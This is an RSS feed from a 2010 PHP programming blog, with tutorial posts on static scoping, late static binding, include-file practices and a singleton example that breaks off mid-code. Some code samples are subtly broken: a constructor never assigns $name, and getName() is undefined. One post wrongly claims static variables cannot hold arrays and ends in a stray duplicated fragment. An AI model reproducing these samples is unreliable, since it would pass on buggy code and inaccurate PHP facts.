<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Josh on the Web &#187; PHP</title>
	<atom:link href="http://joshduck.com/blog/category/programming/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://joshduck.com/blog</link>
	<description>It's a blog about the web, by Josh. Geddit?</description>
	<lastBuildDate>Thu, 29 Jul 2010 11:58:01 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>An introduction to PHP&#8217;s static scoping</title>
		<link>http://joshduck.com/blog/2010/07/29/an-introduction-to-phps-static-scoping/</link>
		<comments>http://joshduck.com/blog/2010/07/29/an-introduction-to-phps-static-scoping/#comments</comments>
		<pubDate>Thu, 29 Jul 2010 11:19:12 +0000</pubDate>
		<dc:creator>Josh</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://joshduck.com/blog/?p=194</guid>
		<description><![CDATA[The static keyword is a  core feature of PHP&#8217;s object oriented programming. Unfortunately, there  doesn&#8217;t seem to be much in the way of easy introductions available online, so I&#8217;d like to give a brief overview of how the keyword  functions, and how it should be used.
PHP actually has two distinct uses for [...]]]></description>
			<content:encoded><![CDATA[<p>The static keyword is a  core feature of PHP&#8217;s object oriented programming. Unfortunately, there  doesn&#8217;t seem to be much in the way of easy introductions available online, so I&#8217;d like to give a brief overview of how the keyword  functions, and how it should be used.</p>
<p>PHP actually has two distinct uses for the static keyword. The first and most common usage is  related class method and property scoping, the second to variable  scoping within in a single function.<span id="more-194"></span></p>
<h2>Static Methods and Properties</h2>
<p>The <a title="static keyword" href="http://php.net/static">static keyword</a> allows you to define methods and properties scoped to the class in  which they&#8217;re declared, rather than one particular object instance.</p>
<p>Let&#8217;s start by taking a look at some code examples.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000000; font-weight: bold;">class</span> Planet <span style="color: #009900;">&#123;</span>
	static <span style="color: #000088;">$count</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000088;">$name</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">function</span> __construct<span style="color: #009900;">&#40;</span><span style="color: #000088;">$name</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">name</span><span style="color: #339933;">;</span>
		<span style="color: #000000; font-weight: bold;">self</span><span style="color: #339933;">::</span><span style="color: #000088;">$count</span><span style="color: #339933;">++;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> getDescription<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">name</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">' is a '</span> <span style="color: #339933;">.</span> <span style="color: #000000; font-weight: bold;">self</span><span style="color: #339933;">::</span><span style="color: #004000;">getShape</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> static <span style="color: #000000; font-weight: bold;">function</span> getShape<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #0000ff;">'sphere'</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>What happens to the static property <em>$count</em> as we start creating instances?</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #666666; font-style: italic;">//Outputs 0.</span>
<span style="color: #b1b100;">echo</span> Planet<span style="color: #339933;">::</span><span style="color: #000088;">$count</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$earth</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> Planet<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Earth'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$pluto</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> Planet<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Pluto'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">//Outputs 2.</span>
<span style="color: #b1b100;">echo</span> Planet<span style="color: #339933;">::</span><span style="color: #000088;">$count</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>The static property <em>$count</em> is attached to the <em>Planet</em> class and not to either of the instances. It can be referenced at any time, even before<em> $earth</em> or <em>$pluto </em>are instantiated.</p>
<p>We used the <em>self</em> keyword in the constructor method to increment the counter with the expression <em>self::$count++</em>. Any instance method can access a static property through the <em>self</em> keyword &#8211; which works much like the <em>$this</em> variable does for referencing instance members. Using <em>Planet::$count</em> to access the static property would have also worked, but it&#8217;s best to avoid referencing our class by name when possible.</p>
<p>Let&#8217;s try calling the static method.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #666666; font-style: italic;">//Outputs 'sphere'.</span>
<span style="color: #b1b100;">echo</span> Planet<span style="color: #339933;">::</span><span style="color: #004000;">getShape</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">//Outputs 'Earth is a sphere'.</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$earth</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getDescription</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>Just like the static property, the static method can be referenced without  the need to call against a specific object instance and is called via the <em>self </em>keyword in the statement <em>self::getShape()</em>.</p>
<h3>When to use static methods and properties</h3>
<p>The static keyword is ideal for creating class-level utility methods and for share data  between objects of the same type. </p>
<p>It also tend to get used in older code as a way of segregating code into modules, such as <em>Log::message() </em>or <em>FileHelper::getFilePermissions($filename)</em>. PHP 5.3 introduced <a title="namespaces" href="http://php.net/namespaces">namespaces</a> which are more appropriate for this use case and should be where if possible.</p>
<p>Unfortunately  there are a few issues with how static methods and  properties work with class inheritance. I&#8217;ve covered some of the nuances of <a href="../2010/03/19/exploring-phps-static-scoping/">static scoping inheritance</a> in one of my previous posts, which looks at how PHP 5.3&#8217;s <a href="http://php.net/language.oop5.late-static-bindings">late static binding</a> resolves the issues.</p>
<h2>Static Variables</h2>
<p>Despite sharing the static keyword, <a id="l1gd" title="static variables" href="http://php.net/variables.scope">static variables</a> are unrelated to PHP&#8217;s static methods and classes. In fact they have  nothing to do with OOP at all. They allow you to define a variable that  persists across method calls &#8211; effectively allowing you to attach state  to any function.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000000; font-weight: bold;">function</span> hello<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	static <span style="color: #000088;">$staticVar</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$normalVar</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #0000ff;">&quot;Hello &quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$staticVar</span><span style="color: #339933;">++</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot; &quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$normalVar</span><span style="color: #339933;">++</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #b1b100;">echo</span> hello<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//Prints &quot;Hello 1 1&quot;</span>
<span style="color: #b1b100;">echo</span> hello<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//Prints &quot;Hello 2 1&quot;</span>
<span style="color: #b1b100;">echo</span> hello<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//Prints &quot;Hello 3 1&quot;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>Regular variables, like <em>$normalVar</em>,  only exist within a single function call. As soon as the function  returns, the variable falls out of scope and is discarded. This is why  the value of <em>$normalVar </em>is always <em>1</em> on each call. Static variables like <em>$staticVar</em>, however, are only instantiated once. The same variable (and value) will be available on subsequent calls to the function.</p>
<p>The statment <em>static $staticVar = 0;</em> is only ever evaluated on the first call to the function. Because of  this magic static variables can only be instantiated with scalar values  (like <em>1</em>, <em>&#8220;Hello&#8221;</em> or <em>true</em>) and not complex  expressions (like arrays, object instances or result of a function  call). If you do want to initialise a static variable with a non-scalar  value then a little boiler-plate code is needed.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000000; font-weight: bold;">function</span> hello<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	static <span style="color: #000088;">$world</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$world</span> <span style="color: #339933;">===</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$world</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> Planet<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Earth'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #0000ff;">&quot;Hello &quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$world</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getName</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>I find that static variables are often useful in <a href="http://en.wikipedia.org/wiki/Memoization">memoizing</a> expensive function call. The memoize function&#8217;s signature doesn&#8217;t have to change and I don&#8217;t have to resort to creating a class with private properties for a cache values or to using global variables to store the pre-calculated value. Ryan Day has posted <a href="http://www.ryanday.net/?p=210">an example and benchmark</a> using this method.</p>
]]></content:encoded>
			<wfw:commentRss>http://joshduck.com/blog/2010/07/29/an-introduction-to-phps-static-scoping/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Includes are not functions</title>
		<link>http://joshduck.com/blog/2010/07/28/includes-are-not-functions/</link>
		<comments>http://joshduck.com/blog/2010/07/28/includes-are-not-functions/#comments</comments>
		<pubDate>Wed, 28 Jul 2010 11:32:31 +0000</pubDate>
		<dc:creator>Josh</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://joshduck.com/blog/?p=173</guid>
		<description><![CDATA[Over the last week I&#8217;ve been working with a commercial PHP eCommerce package. Amongst some shockingly bad code one of the patterns that has stood out has been the use of includes a kind of pseudo-function. Dozens of files in the application are in the following format.


&#60;?php  $product_id = $_GET&#91;'product_id'&#93;;  $category_id = $_GET&#91;'category_id'&#93;; [...]]]></description>
			<content:encoded><![CDATA[<p>Over the last week I&#8217;ve been working with a commercial PHP eCommerce package. Amongst some shockingly bad code one of the patterns that has stood out has been the use of includes a kind of pseudo-function. Dozens of files in the application are in the following format.</p>
<p><span id="more-173"></span></p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>  <span style="color: #000088;">$product_id</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'product_id'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>  <span style="color: #000088;">$category_id</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'category_id'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>  <span style="color: #b1b100;">include</span> <span style="color: #0000ff;">'includes/product.php'</span><span style="color: #339933;">;</span>  <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'HTTP_REQUEST_METHOD'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">'POST'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>  	<span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'includes/product_update.php'</span><span style="color: #339933;">;</span>  <span style="color: #009900;">&#125;</span>  <span style="color: #000088;">$template</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">set</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'categories'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$categories</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$template</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">set</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'errors'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$errors</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$template</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">set</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'product'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$product</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>The authors might try and justify this by saying that the includes allow for code reuse but can you really tell what&#8217;s happening here? Where are <i>$categories, $errors</i> and <i>$product</i> being defined? We can guess that <i>$product</i> is defined in <i>product.php</i> but is it being used or even modified within <i>product_update.php</i>? Could we safely refactor any of these files without fearing that we&#8217;ll created unintended consequences in a rarely-used code path?</p>
<p>Debugging the eCommerce package with <a href="http://www.xdebug.org/">Xdebug</a> session showed that there were almost 50 different local variables in scope by the end of a typical script. I couldn&#8217;t be certain which variables were required and which weren&#8217;t, let alone where each was defined.</p>
<h2>Why is inline code in includes a bad idea?</h2>
<p>There are a few specific reasons we should rule this kind of code right out:</p>
<ul>
<li>Our main script can&#8217;t be sure of what variables are required by included files. You won&#8217;t be able to remove or refactor variables without checking each and every includes first.</li>
<li>Likewise, our parent script can&#8217;t be sure if an include will modify local variables. Each included file could potentially change a global variable in a way that is required by subsequent scripts &#8211; either intentionally or unintentionally.</li>
<li>If you&#8217;re using a server with register globals turned on then you&#8217;ll need to add <code>if (!defined('APP_START')) die();</code> style guards to the start of every include, so they cant be requested  directly by the end user. For most core this isn&#8217;t a problem, but commercial packages must code for the worst. If an include just contained function definitions this wouldn&#8217;t be a problem.</li>
</ul>
<h2>So how exactly should I be using includes?</h2>
<p>Each include files should contain only:</p>
<ul>
<li>Configuration variables or constant definitions.</li>
<li>A single class. The file should be named after the class. E.g. class <i>Product</i> is defined in <i>Product.php</i>.</li>
<li>A set of related functions. Don&#8217;t create &#8220;do-everything&#8221; files; break your functions down into logical groups like database functions or HTML helpers</li>
</ul>
<p>The only time I&#8217;d ever include inline code in an include file would be if I were defining config variables in code, including a PHP-based template or if I&#8217;m initialising environment configuration (such as defining error handlers, PHP ini settings and script timeouts).</li>
</ul>
<h2>Which include function should I use?</h2>
<p>There are quite a few statements we can choose between for including files: <i>include, include_once, require</i> and <i>require_once</i>. Which should we be using?</p>
<p>If you follow the best practices and just have function and class definitions in an include then it becomes obvious that you wouldn&#8217;t want to include a file more than once. Doing so would force PHP to error when it attempts to redefine a function or class. Using <i>include_once</i> or <i>require_once</i> is obviously a better choice.</p>
<p>A missing function or class definition is something that you should know about sooner rather than later. For that reason I find <i>require_once</i> a better way to define dependencies.</p>
<p>The other function should be reserved for special cases, for example an autoloader function that would prefer to handle missing files without <i>E_ERROR</i> being raised.</p>
<h2>Summing up</h2>
<p>Rather than helping code reuse misusing includes turns your code base into a mass of spaghetti code, which would be bad enough on its own but is made worse by the code being spread over dozens of files with no hints as to what is where.</p>
]]></content:encoded>
			<wfw:commentRss>http://joshduck.com/blog/2010/07/28/includes-are-not-functions/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Digging deeper into PHP&#8217;s static scoping</title>
		<link>http://joshduck.com/blog/2010/03/19/exploring-phps-static-scoping/</link>
		<comments>http://joshduck.com/blog/2010/03/19/exploring-phps-static-scoping/#comments</comments>
		<pubDate>Thu, 18 Mar 2010 21:51:49 +0000</pubDate>
		<dc:creator>Josh</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://joshduck.com/blog/?p=107</guid>
		<description><![CDATA[Redditor troelskn made an interesting observation about my recent blog post about Singletons, pointing out that static variables defined within a method behave completely differently to regular static properties. I use static method variables often but still found this behaviour surprising. I decided this was a good opportunity to find out exactly how static methods, [...]]]></description>
			<content:encoded><![CDATA[<p>Redditor troelskn made an interesting <a href="http://www.reddit.com/r/PHP/comments/bbc81/what_can_singletons_teach_us_about_php/c0lxkn2">observation</a> about my recent blog post about <a href="/blog/2010/03/10/singletons-what-can-they-teach-us-about-php/">Singletons</a>, pointing out that static variables defined within a method behave completely differently to regular static properties. I use static method variables often but still found this behaviour surprising. I decided this was a good opportunity to find out exactly how static methods, properties and variables work in PHP.<span id="more-107"></span></p>
<p>I put together a few test cases to compare the <strong>static</strong> and <strong>self</strong> keywords as well as to look at class introspection methods. You can see the <a target="code" href="/random/static.html">code and results here</a>. I&#8217;ll step through each of the tests and examine them in detail.</p>
<p style="font-weight:bold; border: 1px solid white; border-style: solid none; padding: 0.5em 0">This post covers advanced behaviour of static scoping. <a href="/blog/2010/07/29/an-introduction-to-phps-static-scoping/">An introduction to PHP&#8217;s static scoping</a> gives a primer to readers who are looking for something simpler.</p>
<h2>Self Keyword</h2>
<p>The <a target="code" href="/random/static.html#test1">first example</a> takes a look at PHP&#8217;s <strong>self</strong> keyword, which was introduced with PHP 5.0. It uses what is known as &#8220;compile time binding&#8221;. This essentially means that PHP&#8217;s compilation stage replaces any references to <strong>self</strong> with a reference to a specific class.</p>
<p>In our examples the <a target="code" href="/random/static.html#test1-A-testA">calls</a> to <code>self::whoBase()</code> and <code>self::whoOverridden()</code> will be compiled as though we had written <code>A::whoBase()</code> and <code>A::whoOverridden()</code>. Therefore calling <code><strong>B</strong>::testA()</code> is always going to produce the same result as <code><strong>A</strong>::testA()</code>; both telling us that the class name is <strong>A</strong>. Because of this a method which has non-trivial use of the <strong>self</strong> keyword is almost always useless when inherited.</p>
<p>There are two main reasons that inheriting static methods properly is not possible with compile time binding. Firstly the compilation process does not know which subclasses might inherit from class being compiled. Subclasses could be <code>import</code>-ed at any time in the future, so the compilation stage must ignore <em>all</em> subclasses for consistency. The second and more practical reason is that <strong>self</strong> references can only by replaced by a single class reference, so the compiler <em>must</em> choose the super class.</p>
<p>The takeaway from this is that you should assume that a self method call or property reference will be unaware of any subclasses.</p>
<h2>Static Keyword</h2>
<p>Obviously PHP developers weren&#8217;t happy with the limitations of <strong>self</strong>; even Zend <a href="http://blog.joshuaeichorn.com/archives/2006/01/09/zactiverecord-cant-work/">ran into it&#8217;s limitations</a>. The lack of usable inheritance meant the utility of static methods was greatly reduced. Thankfully PHP 5.3 introduced <a href="http://php.net/manual/en/language.oop5.late-static-bindings.php">late static binding</a> through the <strong>static</strong> keyword, which can be used interchangeably with <strong>self</strong>.</p>
<p>Late static binding means that the decision as to which class <strong>static</strong> references should resolve to is not made until the code is called. When <code>B::testA()</code> is called in our <a target="code" href="/random/static.html#test2">second example</a> the PHP runtime makes a note that the method was called on class B. When the runtime encounters the call to <a target="code" href="/random/static.html#test2-A-testA-whoOverridden"><code>static::whoOverridden()</code></a> within that method it translates the <strong>static</strong> reference to class B, as that&#8217;s the class it noted earlier, and dispatches a call to <code>B::whoOverridden()</code>.</p>
<p>Surprisingly PHP won&#8217;t forget that <strong>static</strong> should still resolve to B even if we add in <strong>self</strong> method calls in between the two steps. If we call the test method <a target="code" href="/random/static.html#test2-A-testAViaSelfReference"><code>B::testAViaSelfReference()</code></a>, which is defined in A, we might expect that the call to <code>self::testA()</code> would cause future <strong>static</strong> references to point to A. However we actually get the same result as we&#8217;d get without the <strong>self</strong> misdirection: the reference to class B is not lost. Only explicit references to a class by name will reset what <strong>static</strong> refers to. This is demonstrated by the test method <a target="code" href="/random/static.html#test2-A-testAViaExplicitReference"><code>B::testAViaExplicitReference()</code></a>.</p>
<p>You will have noticed that the <strong>static</strong> keyword is also used for  static method and variable declaration. This dual usage only exists to   save the language authors from defining a new PHP keyword, and shouldn&#8217;t  be taken to mean any more than that.</p>
<p>The rule of thumb for static keywords is that they will always resolve to the class named <em>explicitly</em> in the calling code.</p>
<h2>Static Method Variables</h2>
<p><a href="http://php.net/manual/en/language.variables.scope.php">Static variables</a> have been available since PHP 4 and allow you to define a persistent variable that is only accessible from the current function. This allows you to encapsulate state into a function or method and can eliminate the need for classes where a single function will suffice.</p>
<p>The <a target="code" href="/random/static.html#test3">third tests</a> show that surprisingly, when a static variable is defined inside a class method they will always refer to the class on which the method was called. In doing this they act almost like properties referenced through <strong>static</strong>, though there are subtle differences.</p>
<p>Our test <a target="code" href="/random/static.html#test3-A-selfCount"><code>B::selfCount()</code></a> increments A&#8217;s count, which indicates static variables can&#8217;t preserve the calling class scope like we just saw the <strong>static</strong> keyword do. I can see this being potentially problematic if have an inherited method containing a static variable that is called from both inside and outside it&#8217;s class.</p>
<p>If you find yourself doing this I&#8217;d suggest always using the <strong>static</strong> keyword rather than <strong>self</strong> for method calls inside the class, otherwise you <em>will</em> end up with two separate static variables in your method, one attached to the subclass and one to the super class. Alternatively, you could use static properties inside class methods and only use static variables from within plain functions.</p>
<h2>Static Class Introspection</h2>
<p>The <a target="code" href="/random/static.html#test4">final test classes</a> look at the different ways we can check which class our current scope is attached to. The older <code>get_class()</code> method and <code>__CLASS__</code> constant will always tell us where our methods are defined but not what class they are called against.</p>
<p>The function <code>get_called_class()</code> is new in PHP 5.3 and is the late static bound equivalent to <code>get_class()</code>. It returns the called class and has the same behaviour as the <strong>static </strong>keyword.</p>
<h2>That&#8217;s All</h2>
<p>I found this little experiment to give me a much better insight into those tricky corner cases I generally try and avoid because I&#8217;m unsure of how PHP will act.</p>
<p>The behaviour of static variables is still the most surprising result, though I&#8217;m sceptical to whether anything interesting can be done to make use of its abnormal behaviour (like using it to create pseudo late static binding for pre-PHP 5.3 setups). The side effect of using <strong>self</strong> with static variables has convinced me that the <strong>static</strong> keyword is probably a better choice when available. <a href="/blog/2010/03/10/singletons-what-can-they-teach-us-about-php/">Singletons</a>, pointing out that static variables defined within a method behave completely differently to regu</p>
]]></content:encoded>
			<wfw:commentRss>http://joshduck.com/blog/2010/03/19/exploring-phps-static-scoping/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Singletons: What can they teach us about PHP?</title>
		<link>http://joshduck.com/blog/2010/03/10/singletons-what-can-they-teach-us-about-php/</link>
		<comments>http://joshduck.com/blog/2010/03/10/singletons-what-can-they-teach-us-about-php/#comments</comments>
		<pubDate>Tue, 09 Mar 2010 22:54:23 +0000</pubDate>
		<dc:creator>Josh</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://joshduck.com/blog/?p=91</guid>
		<description><![CDATA[Why would I be showing you how implement singletons in PHP? Don&#8217;t I know that the singleton pattern suffers from obvious shortcomings? Of course I do, but I have an ulterior motive. Singletons are a simple way to show off some of the features of PHP you probably don&#8217;t get to see and use too [...]]]></description>
			<content:encoded><![CDATA[<p>Why would I be showing you how implement singletons in PHP? Don&#8217;t I know that the singleton pattern suffers from <a href="http://blogs.msdn.com/scottdensmore/archive/2004/05/25/140827.aspx">obvious shortcomings</a>? Of course I do, but I have an ulterior motive. Singletons are a simple way to show off some of the features of PHP you probably don&#8217;t get to see and use too often. Now we&#8217;ve got that covered let&#8217;s see some code. If you haven&#8217;t seen a Singleton before the premise is simple: there should only ever be one instance of our class.<span id="more-91"></span></p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000000; font-weight: bold;">class</span> Greeter <span style="color: #009900;">&#123;</span>
	protected <span style="color: #000088;">$count</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000000; font-weight: bold;">function</span> __construct<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">count</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> hello<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #0000ff;">'Hi '</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">count</span><span style="color: #339933;">++;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> static <span style="color: #000000; font-weight: bold;">function</span> getInstance<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		static <span style="color: #000088;">$instance</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$instance</span> <span style="color: #339933;">===</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$class</span> <span style="color: #339933;">=</span> get_called_class<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #000088;">$instance</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #000088;">$class</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #000088;">$instance</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">class</span> FrenchGreeter <span style="color: #000000; font-weight: bold;">extends</span> Greeter <span style="color: #009900;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> hello<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #0000ff;">'Bonjour '</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">count</span><span style="color: #339933;">++;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
